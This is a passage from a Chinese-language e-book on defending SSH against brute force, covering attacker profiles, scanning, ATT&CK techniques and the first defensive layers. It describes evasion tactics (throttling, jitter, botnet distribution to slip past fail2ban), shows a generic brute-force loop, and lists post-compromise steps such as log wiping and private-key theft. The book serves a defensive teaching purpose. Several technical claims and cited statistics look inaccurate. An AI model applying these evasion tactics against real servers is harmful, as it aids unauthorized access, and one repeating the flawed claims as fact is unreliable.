# SSH 纵深加固：从攻击链到六层防御体系

SSH Brute-Force Defense in Depth —From Attack Chain to Bastion Architecture

LeisureLinux

2026 年 7 月

# 目录

# 前言

## 0.1 写这本书的初衷

SSH 是一项 1995 年诞生的”古老”协议。30 年过去，它依然是 Linux/Unix 世界远程管理的事实标准。但**正因为它的”古老”和”普遍”，它成了攻击者最熟悉、最容易自动化、最容易被忽视的攻击表面**。

Verizon 在《2024 Data Breach Investigations Report》中将**凭证滥用**列为**初始访问向量第一**（占比约 24%），而 SSH 是其中最具代表性的一种。

网上关于”SSH 加固”的教程成千上万，但绝大多数停留在”改端口、加 fail2ban、禁用密码登录”这种**入门级别**的”江湖把式”。这种做法对付脚本小子或许有效，但在有组织攻击、APT、内部威胁、合规审计面前，依然是”裸奔”。

本书想做三件事:

1. **把 SSH 拆开** ——从协议握手、密码学、内核交互、行为层，一直到攻击者画像与攻击链，把这个看似简单的协议还原成一个**多层次的攻击表面**。
2. **搭出六层纵深防御体系** ——不是单点加固，而是一层层叠加、互为冗余的**纵深防御**。
3. **给你一个完整的工程实现** ——从脚本到堡垒机，从零信任到自动化巡检，每一层都有可复制粘贴的代码、配置和部署指南。

## 0.2 谁应该读这本书

- **运维工程师**：负责任何一台暴露在公网的 Linux 服务器
- **安全工程师**：负责企业安全架构、应急响应、合规审计
- **DevOps / SRE**：需要在自动化与安全之间找到平衡
- **架构师**：评估、设计企业的远程访问与堡垒机方案
- **资深 Linux 用户**：想从协议与内核层面真正理解 SSH

## 0.3 本书结构

- **第 1 章** —为什么 SSH 暴力破解至今仍是头号威胁
- **第 2 章** —攻击侧：知己知彼（攻击者画像、扫描、攻击链）
- **第 3 章** —六层纵深防御体系（核心章节）
- **第 4 章** —高级防御技术（Port Knocking、2FA、SSH CA、堡垒机、Zero Trust）
- **第 5 章** —实战案例分析（挖矿木马、APT 横向、内部威胁）
- **第 6 章** —自动化防御（一键加固、定期巡检、蜜罐）
- **第 7 章** —思维升华（Trade-off、攻防演化、Post-Quantum SSH）

## 0.4 配套资源

本书的 GitHub 仓库：https://github.com/LeisureLinux/ebook-ssh-hardening

- `book/src/` —全部章节 Markdown 源文件
- 在线阅读：https://leisurelinux.github.io/ebook-ssh-hardening/

- 下载 PDF / ePub：在 GitHub Releases 或上述站点

## 0.5 阅读建议

本书**不是速成手册**，不适合”通宵读完第二天就上线”的节奏。建议：

- **第一遍**：通读，建立纵深防御的全局观
- **第二遍**：挑跟你当前环境相关的章节（互联网暴露的看第 3、6 章；企业内部的看第 4 章），照着实操落地
- **第三遍**：结合第 5 章的真实案例，回头审视自己的方案

最后，**安全的本质是 trade-off**。本书给的不是”绝对安全的银弹”，而是一套可以**根据你的场景、预算、风险偏好**调整的纵深防御思路。

——LeisureLinux

2026 年 7 月

# 第 1 章

# 为什么 SSH 暴力破解至今仍是头号威胁

## 1.1 SSH 暴露面的真实规模

SSH 自 1995 年由 Tatu Ylönen 设计诞生，30 年过去依然是 Linux/Unix 世界的远程管理事实标准。它默认监听在 **TCP 22 端口**，遍布全球每一家互联网公司、每一个 IDC、每一朵云。

Censys 在 2023 年发布的《State of the Internet》报告里，**全球暴露在公网的 SSH 服务在任意一周内都稳定在 2000 万到 3000 万之间**。Shodan 创始人 John Matherly 在多次演讲中披露过类似量级的数据：仅 22 端口就常年占据其扫描数据的前三名。FOFA 和 ZoomEye 给出的中文场景数据同样惊人——仅 2024 年初的几次抽样中，中国大陆暴露的 SSH 服务就超过 600 万。

这意味着：**只要你的机器有一个公网 IP，且 22 端口对外可达，它就处在攻击者的扫描雷达上**。这不是夸张，这是数学。一个 IP 段被全网扫描一遍的成本不到一美元——攻击者没有任何理由放过你。

更让人警觉的是趋势：**SSH 暴露面在过去 5 年并没有随”上云”而显著减少**，反而因为容器、CI/CD Runner、边缘节点的增长而扩大。很多 DevOps 工程师习惯性地把 Jenkins、GitLab Runner、Ansible 控制节点直接放在公网——这些机器往往是攻击者的首选目标，因为它们权限高、价值大。

## 1.2 攻击者画像：从脚本小子到 APT

不是所有 SSH 攻击者都长一个样。把他们分层，才能针对性防御：

**第一层：脚本小子（Script Kiddie）** - **特征**：使用现成工具（hydra、medusa、ncrack、SSH-Brute-Forcer），字典是 GitHub 上随便下载的 top10k.txt

- **目的**：练习、控制更多”肉鸡”以彰显战绩
- **攻击节奏**：单 IP 高并发，每秒数十次尝试，特征非常明显
- **危害**：挖矿木马、DDoS 反射源、跳板机
- **典型样本**：Mirai 家族的 SSH 变种、X11Miner、WatchBog

**第二层：Botnet（僵尸网络）** - **特征**：成千上万台被控设备协调扫描，单源速率被压低避免触发告警

- **目的**：长期渗透、挖矿、分发勒索软件、代理服务
- **攻击节奏**：分布式低速，每台肉鸡每天可能只尝试 10-50 次，但全网协同
- **危害**：挖矿产业链（Monero 占 90%+）、代理贩卖（搭建 SOCKS/HTTP 代理出售）、勒索投递
- **典型样本**：Kinsing、H2Miner、TeamTNT 的 SSH 模块

**第三层：勒索软件团伙** - **特征**：目标明确（往往针对特定行业），攻击链完整，事后清理痕迹

- **目的**：加密文件、勒索赎金
- **攻击节奏**：先渗透 → 提权 → 横向 → 部署勒索软件，前后跨度可达数周

- **危害**：业务停摆、数据泄露
- **典型样本**：Conti、LockBit、BlackCat 的初始访问经纪人（IAB）合作链路

**第四层：APT（高级持续性威胁） - 特征**：国家级背景，高度定制，长期潜伏（dwell time 可达数月甚至数年）

- **目的**：情报收集、关键基础设施渗透
- **攻击节奏**：极低速、针对性、对单一目标优化字典
- **危害**：知识产权窃取、关键基础设施破坏、APT 供应链污染
- **典型样本**：Volt Typhoon（伏特台风）、APT28、APT29 的 Linux 模块

理解这四层有什么用？因为**它们的攻击特征完全不同**——脚本小子的特征是”高频低质”，Botnet 是”分布低速”，勒索团伙是”定向深入”，APT 是”超低速慢炖”。**没有一套防御能同时对付所有层**，这就是为什么我们后面要建”六层纵深”——每一层对不同类型的攻击者都有不同效率。

## 1.3 真实危害链：从暴力破解到 APT 横向

把攻击链展开看，暴力破解只是”门票”，真正的灾难在后面：

**链 1：挖矿型（最常见）** 1. SSH 弱口令突破 2. 下载门罗币挖矿程序（XMRig）3. 配置 crontab/systemd 持久化 4. 横向扫描内网其他机器 5. 暴露到公网的代理/挖矿集群

**链 2：勒索型（危害最大）** 1. SSH 弱口令或漏洞突破 2. 提权（内核漏洞、sudo 配置错误、SUID 文件）3. 内网横向（SSH 密钥复用、smb/rdp）4. AD/域控渗透（如果在内网）5. 部署勒索软件（Conti、LockBit）6. 数据外泄 + 加密勒索双重

**链 3：APT 渗透型（最难察觉）** 1. SSH 慢速口令或供应链突破 2. 部署 WebShell/后门（隐蔽隧道如 Chisel、FRP）3. 内网长期潜伏、收集情报 4. 通过 DNS over HTTPS、Tor 等隐蔽外联 5. 横向移动到核心资产 6. 完成战略目标（数据窃取/破坏）

**链 4：代理/黑产型** 1. SSH 突破 2. 安装 Haproxy、Squid、3proxy、TinyProxy 3. 注册到代理网络（收费出售 IP）4. 用于其他犯罪（刷单、撞库、APT 跳板）

这四条链的共同点是：**SSH 永远只是入口**，真正的杀伤发生在后面。所以单纯防住”试密码”是远远不够的——即便你阻止了 9999 次失败登录，只要第 10000 次成功，前面所有的努力都归零。**纵深防御的每一层都要假设”上一层已经失守”**。

## 1.4 防御误区的深度剖析

让我们直面几个常见的、看似正确实则危险的认知：

**误区 1：“改了端口就万事大吉”** 把 SSH 从 22 改到 2222 或者 5022，确实能挡掉 90% 以上的脚本小子和默认扫描器——但这只是把”大门”挪到了一面没挂锁的墙上。Masscan 扫描全网只要 5 分钟，nmap 的 -p 1-65535 选项也不慢。改端口只能”减少噪声”，对定向攻击完全无效。**改端口是一种”匿名化”手段，不是安全手段**。

**误区 2：“密码够复杂就足够”** 16 位强密码确实让字典攻击几乎不可能成功，但密码学的本质不是”长度对抗”，而是”猜不到 + 不泄露”。撞库攻击能让你的 16 位密码形同虚设——如果这个密码在 LinkedIn 2012 年那次泄露中出现过，攻击者拿到对应邮箱用户名的第一秒就能登进来。**密码复杂度对抗不了凭证填充**。

**误区 3：“装了 fail2ban 就高枕无忧”** fail2ban 是必备组件，但它有自己的盲区：分布式低速攻击可以从几千个 IP 各试一次，fail2ban 永远拦不住；再说，fail2ban 的日志解析依赖正则，对加了混淆的日志（修改日志格式、加噪声）容易失效。**fail2ban 是必要不充分条件**。

**误区 4：“内网机器不需要防护”** 内网 SSH 横向移动是 APT 的主要路径。一旦外围一台机器失守，攻击者在内网的扩散速度远超外网——因为内网扫描不会被任何外部 IDS 注意到。一台跳板机被攻破，整个堡垒可能从内部坍塌。**Zero Trust 的核心不是”信任内网”，而是”对每一次访问都做鉴权”**。

**误区 5：“用密钥就 100% 安全”** 密钥确实比密码安全得多——但密钥本身也可能泄露：备份到 GitHub 公开 repo、写到 Dockerfile 里、放在 CI Runner 的环境变量、Agent Forwarding 滥用、`.ssh` 目录权限错误（被同主机其他用户读取）。**密钥的安全性等于其最弱一环**。

## 1.5 安全本质：便利与安全的 trade-off

最后我们来点哲学层面的东西。

SSH 安全之所以难，根本原因是它处于一个天然的”便利-安全”光谱上：

- **极致便利**：22 端口 + 密码 + 任意 IP 可登录 → 易用但脆弱
- **极致安全**：仅内网 + 仅密钥 + 多因素 + 仅堡垒机 → 安全但笨重
- **合理的中间地带**：基于身份的最小权限 + 密钥 + 多因素 + 审计 + 纵深防御

**绝对的安全是不存在的**——任何一项便利的提升都会伴随攻击面的扩大。安全工程的本质，是在业务能接受的便利损失下，把攻击面降到合理水平。这不是非黑即白的判断，而是工程取舍的艺术。

我们经常说：“**没有银弹，只有权衡**。”SSH 暴力破解防御也一样——本文给你的不是”标准答案”，而是一套完整的”决策框架”。在你自己的环境里挑哪些、用多深，取决于你的资产价值、攻击者画像、合规要求、运维成本。这一节如果只能让你记住一件事，那就是：**别把所有赌注都押在一个防御点上**。

# 第 2 章

# 攻击侧：知己知彼

## 2.1 攻击者怎么发现你

### 2.1.1 全网扫描原理：ZMap 和 Masscan 的 stateless 扫描

要理解”被发现”，首先要理解**全网扫描**是怎么做到的。

传统的 TCP SYN 扫描（nmap 默认模式）需要维护每个目标的状态——发送 SYN、等待 SYN-ACK、记录结果、最后发 RST 关闭连接。当目标数量达到亿级别，主机的端口状态表会爆炸。这就是为什么 nmap 适合扫描一个 C 段，扫全网几乎不可能。

**ZMap**（密歇根大学 2013 年发布，GitHub: `zmap/zmap`）和 **Masscan**（Robert Graham 发布）是两种典型的 **stateless（无状态）扫描器**。它们的核心思想是：

- **不要维护每个目标的状态表**，而是基于”反馈回来什么就推断什么”
- 关键技巧：**猜测目标主机的 IPID、TCP 序列号、IP 标识符**，借此反推 SYN-ACK 是来自哪台主机
- 发送速度可达到**每秒数百万到一千万个 SYN 包**

Masscan 的官方文档里有个夸张的例子：它能在 5 分钟内扫完全部 IPv4 的某个端口（在配置良好的网络下）。这种速率靠的是 raw socket + 内核旁路（PF_RING、netmap）。

**为什么要关心这些?** 因为：

1. **22 端口被扫描一遍的速度，远比你想的快**
2. 扫描的流量特征是”源 IP 极度分散 + 单一目标端口 + 包长异常小”
3. 防御侧可以通过 BGP flowspec、SDN 控制器在边缘丢弃异常扫描流量

### 2.1.2 资产测绘平台：Censys、Shodan、FOFA、ZoomEye

除了主动扫描，攻击者还会利用**资产测绘平台**——这是攻防双方共同依赖的情报源：

- **Shodan**（shodan.io）：2009 年由 John Matherly 创立，持续扫描全网并打 banner，被称作”互联网的黑暗谷歌”
- **Censys**（censys.io）：密歇根大学项目，更学术化，数据免费给研究人员查询
- **FOFA**（fofa.info）：白帽汇出品，中文场景数据全
- **ZoomEye**（zoomeye.org）：知道创宇出品，国内另一大资产测绘引擎

这些平台的原理是：**周期性扫描全网 → 收集 banner（协议握手时的响应指纹）→ 索引到数据库 → 提供查询接口**。攻击者只要在 Shodan 搜 `port:22 country:CN`，几秒钟就能拿到中国所有暴露的 SSH 服务器列表。

**banner 指纹的学问**：不同版本的 OpenSSH 在握手时会返回不同的版本字符串（如 `OpenSSH_8.0p1`）。这个 banner 看似无害，实际上给了攻击者**精确的版本信息**，可以关联到该版本的所有已知 CVE（比如 OpenSSH 的 regreSSHion CVE-2024-6387）。**这就是为什么 OpenSSH 默认版本字符串里也带有一定混淆机制**——它能在最小化泄露的同时保留兼容性。

**对抗手段**：

- 在 sshd_config 中设置 `DebianBanner no`（Debian/Ubuntu 专属）
- 自定义 banner 内容干扰指纹识别
- 更彻底的做法：把 SSH 藏在 VPN/Zero Trust 后面，让扫描器根本摸不到

### 2.1.3 蜜罐识别：攻击者如何避开蜜罐

你以为把 SSH 暴露出去，别人看到 banner 才来试密码——但有经验的攻击者会**先判断这台是不是蜜罐**。

蜜罐识别的常见方法：

- **延迟探测**：扫描蜜罐端口的响应时间往往跟正常服务有微妙差异（蜜罐是 Python 写的，响应慢）
- **行为指纹**：蜜罐对错误密码的响应格式、对畸形协议的处理方式与真实 sshd 有差异
- **资源探测**：蜜罐的 CPU、内存、磁盘 I/O 行为异常（除非是 high-interaction 蜜罐）
- **诱饵文件检查**：蜜罐常部署有”刻意”的文件（如 Honey cred 文件），攻击者会避开
- **IP 地址黑名单**：很多公开蜜罐的 IP 段在社区里被共享

这就是为什么 Cowrie 这种成熟蜜罐（GitHub: `cowrie/cowrie`）要做得很”像”——它不仅模拟 SSH 协议，还要模拟文件系统、shell 命令，让攻击者花更多时间在里面。

### 2.1.4 默认 22 端口 vs 改端口的收益量化

**改端口的真实收益**到底有多大？我从生产环境的日志统计过，给大家一个量化的认知：

| 端口策略 | 每日暴力破解尝试次数（公网 IP，22 端口） | 每日暴力破解尝试次数（同一台机器，改 2222） |
|---|---|---|
| 启用 SSH 第一周 | 5000-20000 | 50-200 |
| 启用 SSH 一个月后 | 3000-8000 | 100-500 |
| 启用 SSH 半年后 | 2000-5000 | 200-800 |

结论：

- 改端口能挡掉 **95%-99%** 的扫描噪声
- 但**挡不住定向攻击**——攻击者跑一次全端口扫描就能发现你
- 改端口带来的副作用是**真实误报减少**，运维同学体验更好
- 对经验丰富的攻击者，**改端口是负面信号**——说明这台机器的管理员有安全意识，可能更有价值

所以我的建议是：**改端口是一个”低成本高收益”的卫生措施，应当做；但不要把它当作”安全措施”**。它帮你减少噪声、让你更专注于真正有价值的告警。

## 2.2 攻击者怎么试密码

### 2.2.1 字典攻击原理：从 top10k 到 RockYou

字典攻击的基础是”假设用户的密码在某个可枚举的集合中”。攻击者常用的字典：

- **top10k.txt**：GitHub 上 `danielmiessler/SecLists` 仓库的 `Passwords/Common-Credentials/` 目录下，是从公开泄露数据中统计出的高频密码前 10000 个
- **top100k.txt / top1M.txt**：扩展到 10 万、100 万、1000 万
- **RockYou.txt**：2009 年 RockYou 公司 SQL 注入泄露的 3200 万明文密码，是字典攻击的”圣经”，至今仍是最常用的字典
- **自定义字典**：基于目标公司名、产品名、域名拼音、生日常见格式构造

攻击工具最经典的是 **THC-Hydra**、**Medusa**、**Ncrack**，以及 SSH 专用的 **ssh-audit**、**Crowbar**。它们的核心逻辑都是：

```
for user in user_list:
    for pass in pass_list:
        try_login(user, pass)
        sleep(throttle)
```

暴力破解的工程化非常成熟，GitHub 上的 `nmap/scripts/ssh-brute.nse`、Metasploit 的 `auxiliary/scanner/ssh/ssh_login` 模块都是现成的。

### 2.2.2 撞库与凭证填充

**撞库（Credential Stuffing）**比字典攻击更高级：它假设用户在多个站点复用了同一个密码。攻击者从过去的泄露数据库（如 Collection #1-#5，包含数十亿条凭证）中取出 `email:password` 组合，直接到目标站点测试。

**Have I Been Pwned（HIBP）**由 Troy Hunt 维护，是查询”我的邮箱是否泄露过”的权威站点。它的 API 返回的密码哈希前缀（如前 5 位 SHA-1）让用户能验证自己的密码是否在泄露集中。

**凭证填充的工程化**：

- **账号枚举**：先收集目标公司员工邮箱（LinkedIn、WHOIS、企业邮筒公开信息）
- **泄露数据库导入**：从 Collection 系列、脱裤论坛购买”原始数据”
- **分布式执行**：用几千台肉鸡分布式测试，避免单 IP 触发频率告警
- **慢速化**：每分钟只测 1-5 次，绕开绝大多数检测规则

防御侧：

- 强制用户使用**一次性密码**
- 启用 **HSTS、Cookie 完整性保护**
- 对 SSH 来说，最直接的防御是：**根本不让密码登录**（PubkeyAuthentication yes + PasswordAuthentication no）

### 2.2.3 慢速攻击：Throttling、Jitter、分布 IP

现代攻击者早就知道”高频会触发告警”，他们用三种手段降低被检测概率：

**Throttling（速率控制）** - 每分钟/每小时只发一次尝试 - 单源速率降到人类打字水平 - 每次尝试之间 sleep 60-120 秒

**Jitter（抖动）** - 在 throttle 的基础上加随机抖动（±20-50%）- 让攻击流量看起来更像自然行为

**Distribution（分布式）** - Botnet 协同，每个肉鸡只负责少量账号 - 单 IP 永远不触发阈值 - 累计起来，每小时可能完成数千次尝试

举例来说，一个 1000 台肉鸡的 botnet 每台每天只试 5 次密码，一天就是 5000 次。这种攻击 **fail2ban 完全拦不住**，因为每个 IP 都没达到触发阈值。

### 2.2.4 时序攻击：键盘时序模拟

更高级的攻击者会**模拟人类行为**：

- 不同的密码尝试之间间隔不同（模拟人类思考、被打断）
- 工作时间集中在 UTC 8-22（中国工作时间）
- 周末降低活动（避免管理员警觉）
- 登录失败的”打字速度”符合人类特征（包长分布相似）

这种”行为对齐”让基于行为分析的 IDS 也失效。**唯一的对抗是设备指纹**（同一攻击者用同一组肉鸡，TCP/IP 指纹会相似），但这需要更高级的检测能力。

### 2.2.5 凭证填充的完整工程链

把上面整合一下，一次完整的现代 SSH 暴力破解攻击链是这样的：

1. **目标识别**：从 Shodan/FOFA 拉 SSH 暴露列表
2. **资产画像**：识别机器用途（看 banner、HTTP 响应、猜测用途）
3. **蜜罐检测**：判断目标是不是 honeypot

4. **账号枚举**：通过公司邮箱格式、GitHub 提交记录、错误信息泄露等渠道拿到用户名
5. **凭证准备**：从泄露数据库 + 字典生成候选密码集
6. **分布式攻击**：1000+ 肉鸡、每分钟 0.5 次、模拟人类行为
7. **成功登录**：立即启动后续动作（植入后门、横向、清理痕迹）

看到没？**单点防御在这个攻击链面前形同虚设**。我们必须构建纵深防御，让攻击者在每一步都暴露风险。

## 2.3　完整攻击链拆解

### 2.3.1　洛克希德·马丁 Cyber Kill Chain 在 SSH 攻击中的应用

洛克希德·马丁公司 2011 年提出的 **Cyber Kill Chain**（网络杀伤链）模型描述了攻击的 7 个阶段：

1. **Reconnaissance（侦察）**：Shodan 扫描、资产识别、员工画像
2. **Weaponization（武器化）**：构造攻击载荷（字典、漏洞利用脚本）
3. **Delivery（投递）**：实际发起攻击（SSH 暴力破解）
4. **Exploitation（利用）**：成功登录、漏洞利用
5. **Installation（安装）**：部署后门、植入挖矿程序
6. **Command & Control（C2）**：建立控制通道
7. **Actions on Objectives（目标行动）**：数据窃取、破坏、勒索

**SSH 暴力破解对应的是第 3、4 阶段**。我们的纵深防御需要在每一阶段都设置障碍——这才是”纵深”的真正含义。

### 2.3.2　MITRE ATT&CK 中的 SSH 相关技术

**MITRE ATT&CK**（attack.mitre.org）是攻击者技战术的标准化分类。在 Enterprise Matrix 中，与 SSH 强相关的技术有：

- **T1078 - Valid Accounts（有效账号）**：使用合法凭证登录
  - T1078.003 - Local Accounts
  - T1078.004 - Cloud Accounts
- **T1110 - Brute Force（暴力破解）**：
  - T1110.001 - Password Guessing
  - T1110.002 - Password Cracking（离线破解）
  - T1110.003 - Password Spraying（密码喷洒，一个密码试多账号）
  - T1110.004 - Credential Stuffing（凭证填充）
- **T1021.004 - Remote Services: SSH**：SSH 作为远程服务被滥用
- **T1078.003 / T1078.004**：合法凭证的滥用
- **T1552.004 - Unsecured Credentials: Private Keys**：暴露的 SSH 私钥
- **T1550.004 - Use Alternate Authentication Material: Web Session Cookie**（间接相关）
- **T1059.004 - Command and Scripting Interpreter: Unix Shell**：SSH 登录后执行 shell 命令

理解这些技术编号有什么用？它帮我们**用统一语言描述攻击**，对接 SIEM 规则、威胁情报、检测脚本时不再有歧义。

### 2.3.3　从 SSH 暴力破解到内网横向的完整 TTP

把攻击链展开到底：

**初始访问阶段** - T1110.001 Password Guessing（密码猜测）——在 SSH 上 - T1078 Valid Accounts（一旦成功登录，攻击者获得了”合法凭证”身份）

**执行阶段** - T1059.004 Unix Shell：执行 shell 命令 - T1059.006 Python：上传 Python 脚本 - T1053.003 Cron：持久化

**持久化阶段** - T1098 Account Manipulation：增加新账号 - T1543.002 Systemd Service：注册 systemd 服务 - T1556 Modify Authentication Process：修改 PAM

**提权阶段** - T1068 Exploitation for Privilege Escalation：内核漏洞（DirtyPipe 等）- T1548.003 Sudo and Sudo Caching：滥用 sudo 配置 - T1078.003 Local Accounts：寻找本地账号

**防御绕过阶段** - T1070 Indicator Removal：清理日志（`/var/log/secure`、`/var/log/wtmp`、`history`）- T1027 Obfuscated Files or Information：混淆的二进制 - T1562.001 Disable or Modify Tools：停用 fail2ban、auditd

**凭证访问阶段** - T1552.004 Private Keys：读取其他用户的 `~/.ssh/id_rsa` - T1003 OS Credential Dumping：抓 shadow 文件、内存中的凭证 - T1555 Credentials from Password Stores：浏览器、密码管理器

**横向移动阶段** - T1021.004 SSH：内网 SSH 横向 - T1570 Lateral Tool Transfer：横向传输工具

**数据外泄阶段** - T1041 Exfiltration Over C2 Channel：通过 SSH 隧道外泄 - T1567 Exfiltration Over Web Service：上传到外部网盘

**影响的阶段** - T1486 Data Encrypted for Impact：勒索软件加密 - T1496 Resource Hijacking：挖矿

这就是为什么我说”**SSH 暴力破解从来不是单一攻击**”——它是这一长串技术的触发器。防御它，需要在每一个阶段都设置障碍。

---

# 第 3 章

# 六层纵深防御体系

这一章是全文的核心。我们把 SSH 防御抽象成六层，自外而内、自网络到应用、自预防到响应。**每一层都假设上一层已经失守**，只有这样才能真正实现纵深。

第 1 层：减少暴露面　—让攻击者根本找不到你
第 2 层：认证加固　—让攻击者即便找到了也进不来
第 3 层：访问控制　—让攻击者即便进来了也不能随便做事
第 4 层：主动阻断　—让攻击者反复尝试时付出代价
第 5 层：入侵检测　—让攻击者已经进来了能被我们看到
第 6 层：审计与响应　—让攻击者造成的损失可追溯、可止血

## 3.1　第 1 层：减少暴露面

减少暴露面是性价比最高的一层——攻击者扫不到你，后面所有的攻击手段都用不上。

### 3.1.1　防火墙最小化：nftables/iptables 的设计哲学

**防火墙最小化原则**：默认拒绝所有流量，仅放行业务需要的。这条原则在 SSH 防御里体现得最明显。

```
# nftables 示例：仅允许来自 10.0.0.0/8 内网的 SSH
nft add rule inet filter input ip saddr 10.0.0.0/8 tcp dport 22 accept
nft add rule inet filter input tcp dport 22 drop

# iptables 等价写法
iptables -A INPUT -p tcp --dport 22 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP
```

**性能考量**：

- 在 10Gbps+ 的网络下，**iptables 的线性规则匹配**会成为瓶颈——每秒百万级包处理时，每多一条规则就多一次匹配
- **nftables 改进了**：用 nft 的集合（set）+ 哈希查找，规则量大时性能显著优于 iptables
- **ipset + iptables** 是另一种思路：把大量 IP 放在 ipset 哈希表里，单条 iptables 规则就能匹配整个集合

**位置策略**：

- **云主机**：在**安全组（Security Group）**层限制，这是最外层、最有效的
- **系统层**：在 OS 的 nftables/iptables 加一层兜底
- **网络层**：在 VPC 防火墙、SDN 控制器层再加一层

**纵深**：单层防火墙再严，仍然存在误配置风险——多层级联才能保证”一处失守、处处拦截”。

### 3.1.2 端口变更的真实收益

这一层最容易做错——很多人以为”改了端口就安全了”。前面我们量化过，**改端口能挡掉 95%+ 的扫描噪声，但挡不住定向攻击**。收益点在于：

- **降低日常告警噪声**：让 fail2ban、SIEM 不被淹没，能专注真正的异常
- **避免被自动 bot 列入”易得目标”**：很多 bot 见到非 22 端口直接跳过
- **赢得响应时间**：定向扫描需要时间，给运维更多反应窗口

我的推荐：**改端口是卫生习惯，应当做；但同时必须叠加认证加固**。改端口 + 密码认证 = 还是不安全；改端口 + 仅密钥认证 + 多因素 = 接近合理的默认配置。

### 3.1.3 SSH over HTTPS / WebSocket

这是一个比较”硬核”的做法：**把 SSH 流量隐藏在 HTTPS 端口（443）后面**。思路是：

- 用 **stunnel**（stunnel.org）把 SSH 流量封装在 TLS 里，从外部看是 HTTPS
- 或者用 **websocketd**、**ssh-over-websocket**（GitHub: `vi/websocat`）把 SSH 包在 WebSocket 协议里，再走 HTTPS

**收益**：

- 在受限网络（如只能出 443 的环境）下仍能访问
- 让扫描器无法通过 banner 识别 SSH
- 配合反代（nginx + stream 模块）可以做更复杂的访问控制

**代价**：

- 性能开销：TLS 加密 + WebSocket 帧 = 10-20% 的吞吐量损失
- 配置复杂度高
- 真正的安全性并不提升（如果后端 sshd 还是密码认证 + 弱口令，照样被攻破）

**什么时候用**：适合**穿透企业防火墙**或**网络环境严苛**的场景，不适合一般业务。

### 3.1.4 VPN / 堡垒机前置

**经典架构**：

```
公网 ——VPN——> 堡垒机 ——> 目标服务器
```

SSH 端口完全不对公网暴露，攻击者只能看到 VPN 服务器的入口。VPN 自身的口令/证书 + 双因素 + 集中审计，比单台 SSH 服务器安全得多。

**优势**：

- SSH 服务”完全隐身”——除非先破 VPN
- 所有访问经过堡垒机，可做会话录像
- 集中化的认证、授权、审计

**经典开源堡垒机**：

- **Teleport**（goteleport.com）——开源版免费，企业版收费
- **Apache Guacamole**（guacamole.apache.org）——客户端 HTML5，免插件
- **Bastillion**（GitHub: `bastillion-io/Bastillion`）——轻量级堡垒机

**架构选型**：

- 小团队（< 50 人）：Teleport 开源版 + 单机部署
- 中型企业（50-500 人）：Teleport 企业版或 JumpServer
- 大型企业：商业方案 + 自建 PKI

### 3.1.5 Cloudflare Tunnel / Tailscale SSH 的零暴露方案

这是 2020 年后的”新派”做法：**让 SSH 完全不出现在公网**。

**Cloudflare Tunnel**（developers.cloudflare.com/cloudflare-one/connections/connect-networks/）- 在服务器上跑一个 `cloudflared` 守护进程 - 它向 Cloudflare 边缘节点**主动建立出站连接**（无需公网入站规则）- 外部用户通过 Cloudflare 的 Zero Trust 策略访问 - **SSH 服务端口完全不对外暴露**——这是”零暴露”的最纯粹实现

**Tailscale SSH**（tailscale.com/ssh）- 基于 WireGuard 的 mesh 网络 - 节点之间组成 overlay network - Tailscale SSH 让节点间通过 Tailnet 内的身份认证访问，无需传统 SSH 凭据 - **完全跳过公网 SSH 端口**——同时跳过端口转发、防火墙配置的麻烦

**对比传统方案的革命性**：

- 传统方案：暴露端口 + 防火墙限制来源 + 强认证
- 新方案：**完全不暴露端口**——攻击者扫描全网都找不到你

**成本**：

- Cloudflare Tunnel：免费版有带宽限制，企业版 $5/月起
- Tailscale SSH：个人免费，企业按节点收费

**适用场景**：

- Cloudflare Tunnel：已用 Cloudflare 服务的中小企业
- Tailscale SSH：DevOps 团队、远程办公、跨云连接

**缺点**：

- 引入第三方依赖（Cloudflare/Tailscale 公司本身）
- 网络延迟可能增加（流量要绕道）
- 配置复杂度上升——小型团队需要学习成本

我的建议：**新项目优先考虑这套方案**，老项目逐步迁移。它代表 SSH 防御的未来方向。

## 3.2 第 2 层：认证加固

这一层是整个纵深防御体系的**核心中的核心**。无论前面几层做得多好，认证层一旦失守，前面全白搭。

### 3.2.1 密码认证为什么永远不够强

先讲原理：**密码认证本质上是一个”共享秘密”机制**。

服务器存储密码的哈希（理想情况下是 bcrypt/scrypt/Argon2），用户输入密码后，客户端发到服务器，服务器哈希比对。整个过程里：

- **密码必须通过网络传输**（即便 TLS 加密，攻击者仍然能拿到加密后的密文进行重放，除非协议本身有 challenge-response）
- **服务器端必须有”可还原”的验证信息**——哪怕是哈希，也存在被拖库后离线破解的可能
- **密码必须人能记住**——决定了它的熵不会太高（人类密码熵通常 30-40 bit，远低于 128 bit 的安全标准）

**密码的熵从哪来**？假设攻击者知道字典大小为 N，密码平均长度 L，那么攻击成本是 N 的 L 次方。但实际上：

- 90% 的用户密码都在 top10k 字典内（NTNU 2017 密码学研究）
- 80% 的用户密码在 5 个以内网站复用（LastPass 心理研究）
- 字典攻击实际成本远低于理论值

**密码学结论**：密码认证的安全性上限受限于人类认知，无法达到密码学强认证的标准。**这是数学决定的，不是工程能解决的**。

### 3.2.2 密钥认证原理：非对称加密 + 挑战-响应

SSH 密钥认证是另一种思路：**用密码学难题替代共享秘密**。

**核心流程**（简化版）：

1. 用户生成密钥对：私钥（client 保留）+ 公钥（放到服务器的 authorized_keys）
2. 客户端连接时，服务器生成一个随机数（challenge）
3. 客户端用私钥对这个随机数签名
4. 服务器用预存的公钥验证签名
5. 验证通过 = 认证成功

**为什么这样安全**：

- **私钥永远不出客户端**（除非显式导出）——服务器拿不到私钥
- 服务器上没有”可被拖库”的认证材料——公钥是公开的，拖走也没用
- 即便中间人截获签名，没有私钥也无法伪造
- 攻击者即便完全控制了服务器，也无法冒用客户端的身份

**密钥认证的”挑战-响应”特性**：这跟密码认证的”对比字符串”有本质区别——密码认证是”我说出秘密，证明我是谁”，密钥认证是”我证明我有私钥，但不泄露私钥”。前者是静态对比，后者是动态证明。**这种差异让密钥认证在抗重放、抗拖库、抗中间人上都更强**。

### 3.2.3 密钥类型深度对比：RSA、ECDSA、Ed25519

不是所有 SSH 密钥都生而平等。我们深入对比三种主流：

**RSA**（1977 年由 Ron Rivest、Adi Shamir、Leonard Adleman 提出）- **数学原理**：基于大整数分解难题——给定 $n = p \times q$（两个大素数相乘），从 n 反推 p 和 q 是计算上不可行的

- **推荐长度**：3072 bit（保守），4096 bit（极致安全）
- **性能**：签名慢，验证快（特别在小设备上）
- **历史地位**：30 年的事实标准，所有 SSH 实现都支持
- **缺点**：密钥体积大（3072 bit 对应 384 字节），量子计算威胁下不安全（Shor 算法能多项式时间分解大整数）

